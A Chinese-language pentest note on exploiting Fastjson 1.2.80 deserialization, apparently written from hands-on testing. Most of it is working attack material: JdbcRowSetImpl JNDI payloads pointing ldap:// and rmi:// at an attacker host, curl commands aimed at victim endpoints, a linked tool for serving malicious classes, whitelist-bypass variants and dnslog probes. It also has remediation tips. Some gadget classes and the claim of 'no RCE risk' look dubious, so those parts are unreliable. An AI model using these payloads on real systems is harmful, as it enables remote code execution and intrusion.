fastjson反序列化分析

0-前言

​ 记录fastjson的漏洞的测试心得,更为详细的可以参考大佬的安全笔记Java Web安全

第一步看报错类型。

构建报错类查看报错:{@type:xxx.class,val:xxx.String}json;
如果是 type not match,通常是顶层类型和接口期望类型不一致;如果是 autoType is not support,说明已经进了 Fastjson 的类型安全检查;如果返回的是业务提示,比如“请输入id”,说明对象已经成功落到业务层。这个区分对定位问题非常关键。你前面的日志已经足够证明:业务类可反序列化,危险类被拦截。

第二步看版本与配置。
优先从代码依赖、jar 文件名、启动参数、fastjson.properties、异常堆栈里确认版本和是否启用了 safeMode。Fastjson 官方文档明确给了三种开启 safeMode 的方式,且 safeMode 打开后会完全禁用 autoType。Fastjson 2.x 则是默认禁用 autoType、以更安全的方式设计。

第三步看“是否存在 AutoType”。
不是只看能不能写 @type,而是看它能不能把类型落到你控制的类上。你这里 GetxxxParam 能进业务层,说明接口的对象绑定链路存在;但 BasicDataSource 被拒,说明高危类型没过安全门槛。

第四步看是否“可绕过”。
可以直接按版本和官方公告判断:1.2.83 之前存在被修复的绕过问题,1.2.68 起有 safeMode;如果目标已经开了 safeMode,autoType 会被完全关闭。

第五步,不能绕过时就做业务类审计。
没有历史漏洞则真正能做的部分:反编译 GetxxxParam(对应的业务类),看 setter、构造函数、字段类型、后续 controller/service 是否会继续调用它的方法。Fastjson 官方也提供了 AutoTypeCheckHandler 这类扩展点,说明很多场景最终要回到应用自己的类型与业务逻辑上看。

Fastjson 1.2.80 反序列化漏洞分析

漏洞原理
Fastjson 在反序列化时,攻击者通过构造特殊的 JSON 字符串,利用特定类(如 JdbcRowSetImpl)的 setAutoCommit 方法触发 JNDI 注入。当目标解析恶意 JSON 时,会向攻击者控制的 JNDI 服务器发起请求,加载远程恶意类,最终导致 RCE(远程代码执行)。1.2.83 版本虽修复了部分漏洞,但在未开启 safeMode 且存在可利用依赖时仍可能被攻击。

漏洞复现条件

  1. Fastjson < 1.2.83
  2. 目标环境中存在 com.sun.rowset.JdbcRowSetImpl 类(通常存在于 JDK 或 Tomcat 中)
  3. 目标未配置安全白名单或开启 safeMode

漏洞验证步骤(仅访问 HTTP 服务)

1. 准备 Payload

以下 Payload 会让目标服务器尝试连接 :

1
2
3
4
5
6
7
8
9
#尝试访问内网
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.1.12:8000/Exploit",
"autoCommit": true
}

#dnslog探测出网
{"qwq":{"@type":"java.net.Inet4Address","val":"xxxxx.dnslog.cn"}}

原理
当 Fastjson 解析 autoCommit 属性时,会调用 setAutoCommit(true) → 触发 JNDI 查找 → 访问 dataSourceName 中的地址。


使用工具jndi_tool.jar部署恶意类;工具链接:https://github.com/wyzxxz/jndi_tool

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxx.xxx.xx.x:xxx/Object",
"autoCommit":true
}
}

2. 启动 HTTP 监听服务

192.168.1.12 上执行:

1
python3 -m http.server 8000

或使用 nc 监听:

1
nc -lvnp 8000

3. 发送 Payload 到目标

将 Payload 作为 POST 数据发送到目标 Fastjson 接口(如 /json):

1
2
3
4
5
curl -X POST http://<TARGET_IP>:<PORT>/api -H "Content-Type: application/json" -d '{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.1.12:8000/Exploit",
"autoCommit": true
}'

4. 验证漏洞

  • 若在 192.168.1.12:8000 的 HTTP 服务收到 GET 请求(路径 /Exploit),证明漏洞存在。

  • 示例日志:

    1
    192.168.X.X - - [TIMESTAMP] "GET /Exploit HTTP/1.1" 404 -

注意事项

  1. 依赖要求
    目标需存在 JdbcRowSetImpl 类(通常满足),若返回 Class not found 则说明环境缺失依赖。

  2. 网络可达
    确保目标服务器能访问 192.168.1.12:8000(检查防火墙/路由)。

  3. 安全模式
    若目标开启 safeMode(禁用 autoType),Payload 将失效:

    1
    ParserConfig.getGlobalInstance().setSafeMode(true);  // 免疫漏洞
  4. 无 RCE 风险
    此 Payload 仅触发 HTTP 请求,不会执行任意代码,符合安全测试要求。


补充说明

  • 更高版本影响:Fastjson ≥1.2.84 默认关闭 autoType,需手动开启白名单。
  • 修复建议
    • 升级 Fastjson 至最新版
    • 启用 safeMode
    • 配置 autoType 白名单

以上方法仅用于安全测试,请遵守法律法规。确认漏洞后请及时修复。


Fastjson 1.2.80 反序列化漏洞详细分析(含白名单场景)

报错分析

若存在报错 org.springframework.http.converter.HttpMessageNotReadableException 表明:

  1. Spring MVC 正在处理请求,且使用了内置的 HTTP 消息转换器
  2. 请求体解析失败,可能是 Fastjson 在处理恶意 payload 时抛出的异常
  3. 环境包含 Spring/MyBatis 可能扩展了攻击面

白名单配置检查

当存在以下配置时,Fastjson 可能允许特定类被反序列化(绕过防护):

1. 显式白名单配置

1
2
3
// 危险的白名单配置示例
ParserConfig.getGlobalInstance().addAccept("com.sun.rowset.");
ParserConfig.getGlobalInstance().addAccept("org.apache.tomcat.");

2. AutoType 白名单

1
2
3
// 启用 AutoType 并添加白名单
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().addAccept("com.example.safe.");

3. 特定注解使用

1
2
3
4
@JSONType(autoTypeCheckHandler = MySafeHandler.class)
public class User {
// 可能被利用的 setter 方法
}

针对环境的增强 Payload

结合 Spring + MyBatis 环境,以下 payload 可能更有效(目标:触发对 192.168.1.12:8000 的访问):

方案 1:MyBatis SQL 驱动类利用

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://192.168.1.12:8000/Exploit"
}
}

方案 2:Spring JNDI 扩展

1
2
3
4
{
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": ["ldap://192.168.1.12:8000/Exploit"]
}

方案 3:Tomcat JDBC 池利用

1
2
3
4
5
6
{
"@type": "org.apache.tomcat.jdbc.pool.DataSourceFactory",
"properties": {
"jndiName": "ldap://192.168.1.12:8000/Exploit"
}
}

漏洞验证步骤

1. 启动 HTTP 监控

192.168.1.12 执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Python 3 (记录完整请求)
# linux
python3 -m http.server 8000 2>&1 | tee http.log

#windows
#powershell
python -m http.server 8000 2>&1 | Tee-Object -FilePath http.log

#cmd.exe
python -m http.server 8000 > http.log 2>&1


# 或使用 netcat
nc -lvnp 8000

2. 发送恶意请求

1
2
3
4
5
6
7
curl -X POST http://VICTIM_IP:PORT/vuln-endpoint \
-H "Content-Type: application/json" \
-d '{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.1.12:8000/FastjsonPoc",
"autoCommit": true
}'

3. 验证成功标志

在 HTTP 服务器查看访问日志:

1
GET /FastjsonPoc - 来自目标 IP 的请求

白名单绕过技巧

若目标配置了白名单,尝试这些变体:

1. 类名混淆

1
2
3
4
5
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://192.168.1.12:8000/Bypass1",
"autoCommit": true
}

2. 嵌套白名单类

1
2
3
4
5
6
7
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": ["ldap://192.168.1.12:8000/Bypass2"]
}
}

3. MyBatis 别名利用

1
2
3
4
5
6
7
8
{
"@type": "org.apache.ibatis.type.Alias",
"value": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.1.12:8000/Bypass3",
"autoCommit": true
}
}

防护检测建议

  1. 检查 AutoType 状态

    1
    2
    // 返回 true 表示危险
    ParserConfig.getGlobalInstance().isAutoTypeSupport();
  2. 列出所有白名单

    1
    ParserConfig.getGlobalInstance().getAcceptList()
  3. 安全配置示例

    1
    2
    // 最佳安全实践
    ParserConfig.getGlobalInstance().setSafeMode(true);

结果分析矩阵

观察现象 漏洞可能性 建议行动
HTTP 服务器收到 GET 请求 ✅ 确认存在 立即修复
返回 Class not found 错误 ⚠️ 可能存在 尝试其他 gadget 类
返回 autoType not support 错误 🛡️ 可能已防护 检查安全配置
连接超时 不确定 检查网络策略/防火墙
持续抛出 HttpMessageNotReadable ⚠️ 高可能性 分析完整异常栈

即使未观察到直接请求,HttpMessageNotReadableException 异常本身可能已表明 payload 触发了非预期行为,建议结合日志深度分析。

注意:

如下是进行dnslog,即便collaborator有反应也不能说明存在RCE,只能说明存在dns解析

1
2
3
{"data":{"@type":"java.net.Inet4Address","val":"xxxxxxxxxcollaboratorxxxxxxxxxx.com"}}

{"@type":"java.net.URL","val":"http://xxxxx.dnslog.cn"}